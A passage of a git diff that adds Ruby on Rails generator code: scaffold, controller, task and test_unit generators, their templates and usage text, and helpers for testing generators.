+ regular_class_path.length
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/rails/scaffold/USAGE b/railties/lib/rails/generators/rails/scaffold/USAGE
new file mode 100644
index 0000000..4a3eb2c
--- /dev/null
+++ b/railties/lib/rails/generators/rails/scaffold/USAGE
@@ -0,0 +1,35 @@
+Description:
+ Scaffolds an entire resource, from model and migration to controller and
+ views, along with a full test suite. The resource is ready to use as a
+ starting point for your RESTful, resource-oriented application.
+
+ Pass the name of the model (in singular form), either CamelCased or
+ under_scored, as the first argument, and an optional list of attribute
+ pairs.
+
+ Attributes are field arguments specifying the model's attributes. You can
+ optionally pass the type and an index to each field. For instance:
+ "title body:text tracking_id:integer:uniq" will generate a title field of
+ string type, a body with text type and a tracking_id as an integer with an
+ unique index. "index" could also be given instead of "uniq" if one desires
+ a non unique index.
+
+ Timestamps are added by default, so you don't have to specify them by hand
+ as 'created_at:datetime updated_at:datetime'.
+
+ You don't have to think up every attribute up front, but it helps to
+ sketch out a few so you can start working with the resource immediately.
+
+ For example, 'scaffold post title body:text published:boolean' gives
+ you a model with those three attributes, a controller that handles
+ the create/show/update/destroy, forms to create and edit your posts, and
+ an index that lists them all, as well as a resources :posts declaration
+ in config/routes.rb.
+
+ If you want to remove all the generated files, run
+ 'rails destroy scaffold ModelName'.
+
+Examples:
+ `rails generate scaffold post`
+ `rails generate scaffold post title body:text published:boolean`
+ `rails generate scaffold purchase amount:decimal tracking_id:integer:uniq`
diff --git a/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb
new file mode 100644
index 0000000..2a0522e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb
@@ -0,0 +1,30 @@
+require 'rails/generators/rails/resource/resource_generator'
+
+module Rails
+ module Generators
+ class ScaffoldGenerator < ResourceGenerator # :nodoc:
+ remove_hook_for :resource_controller
+ remove_class_option :actions
+
+ class_option :stylesheets, type: :boolean, desc: "Generate Stylesheets"
+ class_option :stylesheet_engine, desc: "Engine for Stylesheets"
+
+ def handle_skip
+ @options = @options.merge(stylesheets: false) unless options[:assets]
+ @options = @options.merge(stylesheet_engine: false) unless options[:stylesheets]
+ end
+
+ hook_for :scaffold_controller, required: true
+
+ hook_for :assets do |assets|
+ invoke assets, [controller_name]
+ end
+
+ hook_for :stylesheet_engine do |stylesheet_engine|
+ if behavior == :invoke
+ invoke stylesheet_engine, [controller_name]
+ end
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/rails/scaffold/templates/scaffold.css b/railties/lib/rails/generators/rails/scaffold/templates/scaffold.css
new file mode 100644
index 0000000..1ae7000
--- /dev/null
+++ b/railties/lib/rails/generators/rails/scaffold/templates/scaffold.css
@@ -0,0 +1,56 @@
+body { background-color: #fff; color: #333; }
+
+body, p, ol, ul, td {
+ font-family: verdana, arial, helvetica, sans-serif;
+ font-size: 13px;
+ line-height: 18px;
+}
+
+pre {
+ background-color: #eee;
+ padding: 10px;
+ font-size: 11px;
+}
+
+a { color: #000; }
+a:visited { color: #666; }
+a:hover { color: #fff; background-color:#000; }
+
+div.field, div.actions {
+ margin-bottom: 10px;
+}
+
+#notice {
+ color: green;
+}
+
+.field_with_errors {
+ padding: 2px;
+ background-color: red;
+ display: table;
+}
+
+#error_explanation {
+ width: 450px;
+ border: 2px solid red;
+ padding: 7px;
+ padding-bottom: 0;
+ margin-bottom: 20px;
+ background-color: #f0f0f0;
+}
+
+#error_explanation h2 {
+ text-align: left;
+ font-weight: bold;
+ padding: 5px 5px 5px 15px;
+ font-size: 12px;
+ margin: -7px;
+ margin-bottom: 0px;
+ background-color: #c00;
+ color: #fff;
+}
+
+#error_explanation ul li {
+ font-size: 12px;
+ list-style: square;
+}
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/USAGE b/railties/lib/rails/generators/rails/scaffold_controller/USAGE
new file mode 100644
index 0000000..8ba4c5c
--- /dev/null
+++ b/railties/lib/rails/generators/rails/scaffold_controller/USAGE
@@ -0,0 +1,19 @@
+Description:
+ Stubs out a scaffolded controller, its seven RESTful actions and related
+ views. Pass the model name, either CamelCased or under_scored. The
+ controller name is retrieved as a pluralized version of the model name.
+
+ To create a controller within a module, specify the model name as a
+ path like 'parent_module/controller_name'.
+
+ This generates a controller class in app/controllers and invokes helper,
+ template engine and test framework generators.
+
+Example:
+ `rails generate scaffold_controller CreditCard`
+
+ Credit card controller with URLs like /credit_card/debit.
+ Controller: app/controllers/credit_cards_controller.rb
+ Test: test/controllers/credit_cards_controller_test.rb
+ Views: app/views/credit_cards/index.html.erb [...]
+ Helper: app/helpers/credit_cards_helper.rb
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb b/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
new file mode 100644
index 0000000..4f36b61
--- /dev/null
+++ b/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
@@ -0,0 +1,27 @@
+require 'rails/generators/resource_helpers'
+
+module Rails
+ module Generators
+ class ScaffoldControllerGenerator < NamedBase # :nodoc:
+ include ResourceHelpers
+
+ check_class_collision suffix: "Controller"
+
+ class_option :orm, banner: "NAME", type: :string, required: true,
+ desc: "ORM to generate the controller for"
+
+ argument :attributes, type: :array, default: [], banner: "field:type field:type"
+
+ def create_controller_files
+ template "controller.rb", File.join('app/controllers', class_path, "#{controller_file_name}_controller.rb")
+ end
+
+ hook_for :template_engine, :test_framework, as: :scaffold
+
+ # Invoke the helper using the controller name (pluralized)
+ hook_for :helper, as: :scaffold do |invoked|
+ invoke invoked, [ controller_name ]
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
new file mode 100644
index 0000000..73e8908
--- /dev/null
+++ b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
@@ -0,0 +1,68 @@
+<% if namespaced? -%>
+require_dependency "<%= namespaced_file_path %>/application_controller"
+
+<% end -%>
+<% module_namespacing do -%>
+class <%= controller_class_name %>Controller < ApplicationController
+ before_action :set_<%= singular_table_name %>, only: [:show, :edit, :update, :destroy]
+
+ # GET <%= route_url %>
+ def index
+ @<%= plural_table_name %> = <%= orm_class.all(class_name) %>
+ end
+
+ # GET <%= route_url %>/1
+ def show
+ end
+
+ # GET <%= route_url %>/new
+ def new
+ @<%= singular_table_name %> = <%= orm_class.build(class_name) %>
+ end
+
+ # GET <%= route_url %>/1/edit
+ def edit
+ end
+
+ # POST <%= route_url %>
+ def create
+ @<%= singular_table_name %> = <%= orm_class.build(class_name, "#{singular_table_name}_params") %>
+
+ if @<%= orm_instance.save %>
+ redirect_to @<%= singular_table_name %>, notice: <%= "'#{human_name} was successfully created.'" %>
+ else
+ render action: 'new'
+ end
+ end
+
+ # PATCH/PUT <%= route_url %>/1
+ def update
+ if @<%= orm_instance.update("#{singular_table_name}_params") %>
+ redirect_to @<%= singular_table_name %>, notice: <%= "'#{human_name} was successfully updated.'" %>
+ else
+ render action: 'edit'
+ end
+ end
+
+ # DELETE <%= route_url %>/1
+ def destroy
+ @<%= orm_instance.destroy %>
+ redirect_to <%= index_helper %>_url, notice: <%= "'#{human_name} was successfully destroyed.'" %>
+ end
+
+ private
+ # Use callbacks to share common setup or constraints between actions.
+ def set_<%= singular_table_name %>
+ @<%= singular_table_name %> = <%= orm_class.find(class_name, "params[:id]") %>
+ end
+
+ # Only allow a trusted parameter "white list" through.
+ def <%= "#{singular_table_name}_params" %>
+ <%- if attributes_names.empty? -%>
+ params[<%= ":#{singular_table_name}" %>]
+ <%- else -%>
+ params.require(<%= ":#{singular_table_name}" %>).permit(<%= attributes_names.map { |name| ":#{name}" }.join(', ') %>)
+ <%- end -%>
+ end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/task/USAGE b/railties/lib/rails/generators/rails/task/USAGE
new file mode 100644
index 0000000..dbe9bba
--- /dev/null
+++ b/railties/lib/rails/generators/rails/task/USAGE
@@ -0,0 +1,9 @@
+Description:
+ Stubs out a new Rake task. Pass the namespace name, and a list of tasks as arguments.
+
+ This generates a task file in lib/tasks.
+
+Example:
+ `rails generate task feeds fetch erase add`
+
+ Task: lib/tasks/feeds.rake
\ No newline at end of file
diff --git a/railties/lib/rails/generators/rails/task/task_generator.rb b/railties/lib/rails/generators/rails/task/task_generator.rb
new file mode 100644
index 0000000..754824c
--- /dev/null
+++ b/railties/lib/rails/generators/rails/task/task_generator.rb
@@ -0,0 +1,12 @@
+module Rails
+ module Generators
+ class TaskGenerator < NamedBase # :nodoc:
+ argument :actions, type: :array, default: [], banner: "action action"
+
+ def create_task_files
+ template 'task.rb', File.join('lib/tasks', "#{file_name}.rake")
+ end
+
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/rails/task/templates/task.rb b/railties/lib/rails/generators/rails/task/templates/task.rb
new file mode 100644
index 0000000..1e3ed5f
--- /dev/null
+++ b/railties/lib/rails/generators/rails/task/templates/task.rb
@@ -0,0 +1,8 @@
+namespace :<%= file_name %> do
+<% actions.each do |action| -%>
+ desc "TODO"
+ task <%= action %>: :environment do
+ end
+
+<% end -%>
+end
diff --git a/railties/lib/rails/generators/resource_helpers.rb b/railties/lib/rails/generators/resource_helpers.rb
new file mode 100644
index 0000000..7fd5c00
--- /dev/null
+++ b/railties/lib/rails/generators/resource_helpers.rb
@@ -0,0 +1,78 @@
+require 'rails/generators/active_model'
+
+module Rails
+ module Generators
+ # Deal with controller names on scaffold and add some helpers to deal with
+ # ActiveModel.
+ module ResourceHelpers # :nodoc:
+ mattr_accessor :skip_warn
+
+ def self.included(base) #:nodoc:
+ base.class_option :force_plural, type: :boolean, desc: "Forces the use of a plural ModelName"
+ end
+
+ # Set controller variables on initialization.
+ def initialize(*args) #:nodoc:
+ super
+
+ if name == name.pluralize && name.singularize != name.pluralize && !options[:force_plural]
+ unless ResourceHelpers.skip_warn
+ say "Plural version of the model detected, using singularized version. Override with --force-plural."
+ ResourceHelpers.skip_warn = true
+ end
+ name.replace name.singularize
+ assign_names!(name)
+ end
+
+ @controller_name = name.pluralize
+ end
+
+ protected
+
+ attr_reader :controller_name
+
+ def controller_class_path
+ class_path
+ end
+
+ def controller_file_name
+ @controller_file_name ||= file_name.pluralize
+ end
+
+ def controller_file_path
+ @controller_file_path ||= (controller_class_path + [controller_file_name]).join('/')
+ end
+
+ def controller_class_name
+ (controller_class_path + [controller_file_name]).map!{ |m| m.camelize }.join('::')
+ end
+
+ def controller_i18n_scope
+ @controller_i18n_scope ||= controller_file_path.tr('/', '.')
+ end
+
+ # Loads the ORM::Generators::ActiveModel class. This class is responsible
+ # to tell scaffold entities how to generate an specific method for the
+ # ORM. Check Rails::Generators::ActiveModel for more information.
+ def orm_class
+ @orm_class ||= begin
+ # Raise an error if the class_option :orm was not defined.
+ unless self.class.class_options[:orm]
+ raise "You need to have :orm as class option to invoke orm_class and orm_instance"
+ end
+
+ begin
+ "#{options[:orm].to_s.camelize}::Generators::ActiveModel".constantize
+ rescue NameError
+ Rails::Generators::ActiveModel
+ end
+ end
+ end
+
+ # Initialize ORM::Generators::ActiveModel to access instance methods.
+ def orm_instance(name=singular_table_name)
+ @orm_instance ||= orm_class.new(name)
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/test_case.rb b/railties/lib/rails/generators/test_case.rb
new file mode 100644
index 0000000..58592b4
--- /dev/null
+++ b/railties/lib/rails/generators/test_case.rb
@@ -0,0 +1,36 @@
+require 'rails/generators'
+require 'rails/generators/testing/behaviour'
+require 'rails/generators/testing/setup_and_teardown'
+require 'rails/generators/testing/assertions'
+require 'fileutils'
+
+module Rails
+ module Generators
+ # Disable color in output. Easier to debug.
+ no_color!
+
+ # This class provides a TestCase for testing generators. To setup, you need
+ # just to configure the destination and set which generator is being tested:
+ #
+ # class AppGeneratorTest < Rails::Generators::TestCase
+ # tests AppGenerator
+ # destination File.expand_path("../tmp", File.dirname(__FILE__))
+ # end
+ #
+ # If you want to ensure your destination root is clean before running each test,
+ # you can set a setup callback:
+ #
+ # class AppGeneratorTest < Rails::Generators::TestCase
+ # tests AppGenerator
+ # destination File.expand_path("../tmp", File.dirname(__FILE__))
+ # setup :prepare_destination
+ # end
+ class TestCase < ActiveSupport::TestCase
+ include Rails::Generators::Testing::Behaviour
+ include Rails::Generators::Testing::SetupAndTeardown
+ include Rails::Generators::Testing::Assertions
+ include FileUtils
+
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/test_unit.rb b/railties/lib/rails/generators/test_unit.rb
new file mode 100644
index 0000000..fe45c9e
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit.rb
@@ -0,0 +1,8 @@
+require 'rails/generators/named_base'
+
+module TestUnit # :nodoc:
+ module Generators # :nodoc:
+ class Base < Rails::Generators::NamedBase # :nodoc:
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/test_unit/controller/controller_generator.rb b/railties/lib/rails/generators/test_unit/controller/controller_generator.rb
new file mode 100644
index 0000000..b5aa581
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/controller/controller_generator.rb
@@ -0,0 +1,15 @@
+require 'rails/generators/test_unit'
+
+module TestUnit # :nodoc:
+ module Generators # :nodoc:
+ class ControllerGenerator < Base # :nodoc:
+ argument :actions, type: :array, default: [], banner: "action action"
+ check_class_collision suffix: "ControllerTest"
+
+ def create_test_files
+ template 'functional_test.rb',
+ File.join('test/controllers', class_path, "#{file_name}_controller_test.rb")
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/test_unit/controller/templates/functional_test.rb b/railties/lib/rails/generators/test_unit/controller/templates/functional_test.rb
new file mode 100644
index 0000000..509bd60
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/controller/templates/functional_test.rb
@@ -0,0 +1,19 @@
+require 'test_helper'
+
+<% module_namespacing do -%>
+class <%= class_name %>ControllerTest < ActionController::TestCase
+<% if actions.empty? -%>
+ # test "the truth" do
+ # assert true
+ # end
+<% else -%>
+<% actions.each do |action| -%>
+ test "should get <%= action %>" do
+ get :<%= action %>
+ assert_response :success
+ end
+
+<% end -%>
+<% end -%>
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/helper/helper_generator.rb b/railties/lib/rails/generators/test_unit/helper/helper_generator.rb
new file mode 100644
index 0000000..0db76f9
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/helper/helper_generator.rb
@@ -0,0 +1,13 @@
+require 'rails/generators/test_unit'
+
+module TestUnit # :nodoc:
+ module Generators # :nodoc:
+ class HelperGenerator < Base # :nodoc:
+ check_class_collision suffix: "HelperTest"
+
+ def create_helper_files
+ template 'helper_test.rb', File.join('test/helpers', class_path, "#{file_name}_helper_test.rb")
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/test_unit/helper/templates/helper_test.rb b/railties/lib/rails/generators/test_unit/helper/templates/helper_test.rb
new file mode 100644
index 0000000..7d37bda
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/helper/templates/helper_test.rb
@@ -0,0 +1,6 @@
+require 'test_helper'
+
+<% module_namespacing do -%>
+class <%= class_name %>HelperTest < ActionView::TestCase
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/integration/integration_generator.rb b/railties/lib/rails/generators/test_unit/integration/integration_generator.rb
new file mode 100644
index 0000000..e004835
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/integration/integration_generator.rb
@@ -0,0 +1,13 @@
+require 'rails/generators/test_unit'
+
+module TestUnit # :nodoc:
+ module Generators # :nodoc:
+ class IntegrationGenerator < Base # :nodoc:
+ check_class_collision suffix: "Test"
+
+ def create_test_files
+ template 'integration_test.rb', File.join('test/integration', class_path, "#{file_name}_test.rb")
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/test_unit/integration/templates/integration_test.rb b/railties/lib/rails/generators/test_unit/integration/templates/integration_test.rb
new file mode 100644
index 0000000..dea7e22
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/integration/templates/integration_test.rb
@@ -0,0 +1,7 @@
+require 'test_helper'
+
+class <%= class_name %>Test < ActionDispatch::IntegrationTest
+ # test "the truth" do
+ # assert true
+ # end
+end
diff --git a/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb b/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb
new file mode 100644
index 0000000..3334b18
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb
@@ -0,0 +1,14 @@
+require 'rails/generators/test_unit'
+
+module TestUnit # :nodoc:
+ module Generators # :nodoc:
+ class MailerGenerator < Base # :nodoc:
+ argument :actions, type: :array, default: [], banner: "method method"
+ check_class_collision suffix: "Test"
+
+ def create_test_files
+ template "functional_test.rb", File.join('test/mailers', class_path, "#{file_name}_test.rb")
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/test_unit/mailer/templates/functional_test.rb b/railties/lib/rails/generators/test_unit/mailer/templates/functional_test.rb
new file mode 100644
index 0000000..7e20410
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/mailer/templates/functional_test.rb
@@ -0,0 +1,21 @@
+require 'test_helper'
+
+<% module_namespacing do -%>
+class <%= class_name %>Test < ActionMailer::TestCase
+<% actions.each do |action| -%>
+ test "<%= action %>" do
+ mail = <%= class_name %>.<%= action %>
+ assert_equal <%= action.to_s.humanize.inspect %>, mail.subject
+ assert_equal ["to at example.org"], mail.to
+ assert_equal ["from at example.com"], mail.from
+ assert_match "Hi", mail.body.encoded
+ end
+
+<% end -%>
+<% if actions.blank? -%>
+ # test "the truth" do
+ # assert true
+ # end
+<% end -%>
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/model/model_generator.rb b/railties/lib/rails/generators/test_unit/model/model_generator.rb
new file mode 100644
index 0000000..2826a3f
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/model/model_generator.rb
@@ -0,0 +1,36 @@
+require 'rails/generators/test_unit'
+
+module TestUnit # :nodoc:
+ module Generators # :nodoc:
+ class ModelGenerator < Base # :nodoc:
+
+ RESERVED_YAML_KEYWORDS = %w(y yes n no true false on off null)
+
+ argument :attributes, type: :array, default: [], banner: "field:type field:type"
+ class_option :fixture, type: :boolean
+
+ check_class_collision suffix: "Test"
+
+ def create_test_file
+ template 'unit_test.rb', File.join('test/models', class_path, "#{file_name}_test.rb")
+ end
+
+ hook_for :fixture_replacement
+
+ def create_fixture_file
+ if options[:fixture] && options[:fixture_replacement].nil?
+ template 'fixtures.yml', File.join('test/fixtures', class_path, "#{plural_file_name}.yml")
+ end
+ end
+
+ private
+ def yaml_key_value(key, value)
+ if RESERVED_YAML_KEYWORDS.include?(key.downcase)
+ "'#{key}': #{value}"
+ else
+ "#{key}: #{value}"
+ end
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml
new file mode 100644
index 0000000..90a92e6
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml
@@ -0,0 +1,27 @@
+# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/Fixtures.html
+<% unless attributes.empty? -%>
+<% %w(one two).each do |name| %>
+<%= name %>:
+<% attributes.each do |attribute| -%>
+ <%- if attribute.password_digest? -%>
+ password_digest: <%%= BCrypt::Password.create('secret') %>
+ <%- else -%>
+ <%= yaml_key_value(attribute.column_name, attribute.default) %>
+ <%- end -%>
+ <%- if attribute.polymorphic? -%>
+ <%= yaml_key_value("#{attribute.name}_type", attribute.human_name) %>
+ <%- end -%>
+<% end -%>
+<% end -%>
+<% else -%>
+
+# This model initially had no columns defined. If you add columns to the
+# model remove the '{}' from the fixture names and add the columns immediately
+# below each fixture, per the syntax in the comments below
+#
+one: {}
+# column: value
+#
+two: {}
+# column: value
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/model/templates/unit_test.rb b/railties/lib/rails/generators/test_unit/model/templates/unit_test.rb
new file mode 100644
index 0000000..c9bc7d5
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/model/templates/unit_test.rb
@@ -0,0 +1,9 @@
+require 'test_helper'
+
+<% module_namespacing do -%>
+class <%= class_name %>Test < ActiveSupport::TestCase
+ # test "the truth" do
+ # assert true
+ # end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/plugin/plugin_generator.rb b/railties/lib/rails/generators/test_unit/plugin/plugin_generator.rb
new file mode 100644
index 0000000..b5d4f38
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/plugin/plugin_generator.rb
@@ -0,0 +1,13 @@
+require 'rails/generators/test_unit'
+
+module TestUnit # :nodoc:
+ module Generators # :nodoc:
+ class PluginGenerator < Base # :nodoc:
+ check_class_collision suffix: "Test"
+
+ def create_test_files
+ directory '.', 'test'
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/test_unit/plugin/templates/%file_name%_test.rb.tt b/railties/lib/rails/generators/test_unit/plugin/templates/%file_name%_test.rb.tt
new file mode 100644
index 0000000..0cbae11
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/plugin/templates/%file_name%_test.rb.tt
@@ -0,0 +1,7 @@
+require 'test_helper'
+
+class <%= class_name %>Test < ActiveSupport::TestCase
+ # test "the truth" do
+ # assert true
+ # end
+end
diff --git a/railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb b/railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb
new file mode 100644
index 0000000..30a861f
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb
@@ -0,0 +1,2 @@
+require 'active_support/testing/autorun'
+require 'active_support'
diff --git a/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb
new file mode 100644
index 0000000..2e1f55f
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb
@@ -0,0 +1,33 @@
+require 'rails/generators/test_unit'
+require 'rails/generators/resource_helpers'
+
+module TestUnit # :nodoc:
+ module Generators # :nodoc:
+ class ScaffoldGenerator < Base # :nodoc:
+ include Rails::Generators::ResourceHelpers
+
+ check_class_collision suffix: "ControllerTest"
+
+ argument :attributes, type: :array, default: [], banner: "field:type field:type"
+
+ def create_test_files
+ template "functional_test.rb",
+ File.join("test/controllers", controller_class_path, "#{controller_file_name}_controller_test.rb")
+ end
+
+ private
+
+ def attributes_hash
+ return if attributes_names.empty?
+
+ attributes_names.map do |name|
+ if %w(password password_confirmation).include?(name) && attributes.any?(&:password_digest?)
+ "#{name}: 'secret'"
+ else
+ "#{name}: @#{singular_table_name}.#{name}"
+ end
+ end.sort.join(', ')
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb
new file mode 100644
index 0000000..18bd1ec
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb
@@ -0,0 +1,51 @@
+require 'test_helper'
+
+<% module_namespacing do -%>
+class <%= controller_class_name %>ControllerTest < ActionController::TestCase
+ setup do
+ @<%= singular_table_name %> = <%= table_name %>(:one)
+ end
+
+ test "should get index" do
+ get :index
+ assert_response :success
+ assert_not_nil assigns(:<%= table_name %>)
+ end
+
+ test "should get new" do
+ get :new
+ assert_response :success
+ end
+
+ test "should create <%= singular_table_name %>" do
+ assert_difference('<%= class_name %>.count') do
+ post :create, <%= "#{singular_table_name}: { #{attributes_hash} }" %>
+ end
+
+ assert_redirected_to <%= singular_table_name %>_path(assigns(:<%= singular_table_name %>))
+ end
+
+ test "should show <%= singular_table_name %>" do
+ get :show, id: <%= "@#{singular_table_name}" %>
+ assert_response :success
+ end
+
+ test "should get edit" do
+ get :edit, id: <%= "@#{singular_table_name}" %>
+ assert_response :success
+ end
+
+ test "should update <%= singular_table_name %>" do
+ patch :update, id: <%= "@#{singular_table_name}" %>, <%= "#{singular_table_name}: { #{attributes_hash} }" %>
+ assert_redirected_to <%= singular_table_name %>_path(assigns(:<%= singular_table_name %>))
+ end
+
+ test "should destroy <%= singular_table_name %>" do
+ assert_difference('<%= class_name %>.count', -1) do
+ delete :destroy, id: <%= "@#{singular_table_name}" %>
+ end
+
+ assert_redirected_to <%= index_helper %>_path
+ end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/testing/assertions.rb b/railties/lib/rails/generators/testing/assertions.rb
new file mode 100644
index 0000000..6267b2f
--- /dev/null
+++ b/railties/lib/rails/generators/testing/assertions.rb
@@ -0,0 +1,121 @@
+module Rails
+ module Generators
+ module Testing
+ module Assertions
+ # Asserts a given file exists. You need to supply an absolute path or a path relative
+ # to the configured destination:
+ #
+ # assert_file "config/environment.rb"
+ #
+ # You can also give extra arguments. If the argument is a regexp, it will check if the
+ # regular expression matches the given file content. If it's a string, it compares the
+ # file with the given string:
+ #
+ # assert_file "config/environment.rb", /initialize/
+ #
+ # Finally, when a block is given, it yields the file content:
+ #
+ # assert_file "app/controllers/products_controller.rb" do |controller|
+ # assert_instance_method :index, controller do |index|
+ # assert_match(/Product\.all/, index)
+ # end
+ # end
+ def assert_file(relative, *contents)
+ absolute = File.expand_path(relative, destination_root)
+ assert File.exists?(absolute), "Expected file #{relative.inspect} to exist, but does not"
+
+ read = File.read(absolute) if block_given? || !contents.empty?
+ yield read if block_given?
+
+ contents.each do |content|
+ case content
+ when String
+ assert_equal content, read
+ when Regexp
+ assert_match content, read
+ end
+ end
+ end
+ alias :assert_directory :assert_file
+
+ # Asserts a given file does not exist. You need to supply an absolute path or a
+ # path relative to the configured destination:
+ #
+ # assert_no_file "config/random.rb"
+ def assert_no_file(relative)
+ absolute = File.expand_path(relative, destination_root)
+ assert !File.exists?(absolute), "Expected file #{relative.inspect} to not exist, but does"
+ end
+ alias :assert_no_directory :assert_no_file
+
+ # Asserts a given migration exists. You need to supply an absolute path or a
+ # path relative to the configured destination:
+ #
+ # assert_migration "db/migrate/create_products.rb"
+ #
+ # This method manipulates the given path and tries to find any migration which
+ # matches the migration name. For example, the call above is converted to:
+ #
+ # assert_file "db/migrate/003_create_products.rb"
+ #
+ # Consequently, assert_migration accepts the same arguments has assert_file.
+ def assert_migration(relative, *contents, &block)
+ file_name = migration_file_name(relative)
+ assert file_name, "Expected migration #{relative} to exist, but was not found"
+ assert_file file_name, *contents, &block
+ end
+
+ # Asserts a given migration does not exist. You need to supply an absolute path or a
+ # path relative to the configured destination:
+ #
+ # assert_no_migration "db/migrate/create_products.rb"
+ def assert_no_migration(relative)
+ file_name = migration_file_name(relative)
+ assert_nil file_name, "Expected migration #{relative} to not exist, but found #{file_name}"
+ end
+
+ # Asserts the given class method exists in the given content. This method does not detect
+ # class methods inside (class << self), only class methods which starts with "self.".
+ # When a block is given, it yields the content of the method.
+ #
+ # assert_migration "db/migrate/create_products.rb" do |migration|
+ # assert_class_method :up, migration do |up|
+ # assert_match(/create_table/, up)
+ # end
+ # end
+ def assert_class_method(method, content, &block)
+ assert_instance_method "self.#{method}", content, &block
+ end
+
+ # Asserts the given method exists in the given content. When a block is given,
+ # it yields the content of the method.
+ #
+ # assert_file "app/controllers/products_controller.rb" do |controller|
+ # assert_instance_method :index, controller do |index|
+ # assert_match(/Product\.all/, index)
+ # end
+ # end
+ def assert_instance_method(method, content)
+ assert content =~ /(\s+)def #{method}(\(.+\))?(.*?)\n\1end/m, "Expected to have method #{method}"
+ yield $3.strip if block_given?
+ end
+ alias :assert_method :assert_instance_method
+
+ # Asserts the given attribute type gets translated to a field type
+ # properly:
+ #
+ # assert_field_type :date, :date_select
+ def assert_field_type(attribute_type, field_type)
+ assert_equal(field_type, create_generated_attribute(attribute_type).field_type)
+ end
+
+ # Asserts the given attribute type gets a proper default value:
+ #
+ # assert_field_default_value :string, "MyString"
+ def assert_field_default_value(attribute_type, value)
+ assert_equal(value, create_generated_attribute(attribute_type).default)
+ end
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/testing/behaviour.rb b/railties/lib/rails/generators/testing/behaviour.rb
new file mode 100644
index 0000000..7576eba
--- /dev/null
+++ b/railties/lib/rails/generators/testing/behaviour.rb
@@ -0,0 +1,106 @@
+require 'active_support/core_ext/class/attribute'
+require 'active_support/core_ext/module/delegation'
+require 'active_support/core_ext/hash/reverse_merge'
+require 'active_support/core_ext/kernel/reporting'
+require 'active_support/concern'
+require 'rails/generators'
+
+module Rails
+ module Generators
+ module Testing
+ module Behaviour
+ extend ActiveSupport::Concern
+
+ included do
+ class_attribute :destination_root, :current_path, :generator_class, :default_arguments
+
+ # Generators frequently change the current path using +FileUtils.cd+.
+ # So we need to store the path at file load and revert back to it after each test.
+ self.current_path = File.expand_path(Dir.pwd)
+ self.default_arguments = []
+ end
+
+ module ClassMethods
+ # Sets which generator should be tested:
+ #
+ # tests AppGenerator
+ def tests(klass)
+ self.generator_class = klass
+ end
+
+ # Sets default arguments on generator invocation. This can be overwritten when
+ # invoking it.
+ #
+ # arguments %w(app_name --skip-active-record)
+ def arguments(array)
+ self.default_arguments = array
+ end
+
+ # Sets the destination of generator files:
+ #
+ # destination File.expand_path("../tmp", File.dirname(__FILE__))
+ def destination(path)
+ self.destination_root = path
+ end
+ end
+
+ # Runs the generator configured for this class. The first argument is an array like
+ # command line arguments:
+ #
+ # class AppGeneratorTest < Rails::Generators::TestCase
+ # tests AppGenerator
+ # destination File.expand_path("../tmp", File.dirname(__FILE__))
+ # teardown :cleanup_destination_root
+ #
+ # test "database.yml is not created when skipping Active Record" do
+ # run_generator %w(myapp --skip-active-record)
